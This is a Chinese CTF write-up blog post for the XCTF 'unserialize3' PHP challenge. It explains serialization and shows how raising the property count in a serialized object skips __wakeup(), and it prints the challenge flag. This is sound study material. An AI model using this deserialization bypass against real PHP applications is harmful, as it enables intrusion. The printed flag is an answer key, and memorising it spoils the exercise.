攻防世界_WEB: unserialize3

本文详细探讨了PHP中的序列化与反序列化概念,通过具体示例解释了__wakeup()函数的工作原理及其在反序列化过程中的应用。文章还介绍了如何利用__wakeup()函数的特性来绕过安全检查。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

可以看到__wakeup()函数,此函数常用于反序列化当中。

了解序列化与反序列化点这里

但是这里没有对任何字符串进行反序列化,所以我们尝试将该类实例化后再进行序列化。实例化就是使用new申请新空间,此方法适用于类的操作。例如:

class a{
	public i=0;
}
$c = new a();
/*此时  $c—>i = 0;*/
/*相当于定义了一个基于a类的对象*/

在php中执行以下代码进行实例化

<?php
class xctf{ 
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo(serialize($a));
?>

运行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

直接传参后被再次序列化

在地方描述
回顾一下原理(序列化返回的字符串格式)

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>} 

O:表示序列化的是对象
< length>:表示序列化的类名称长度
< class name>:表示序列化的类的名称
< n >:表示被序列化的对象的属性个数
< field name 1>:属性名
< field value 1>:属性值

如果直接传参给code会被__wakeup()函数再次序列化,所以要绕过他
利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

因此修改属性个数即可在这里插入图片描述

the answer is : cyberpeace{eb5deddf4518c6b301ae6099680179a0}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Automan之鸿鹄

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值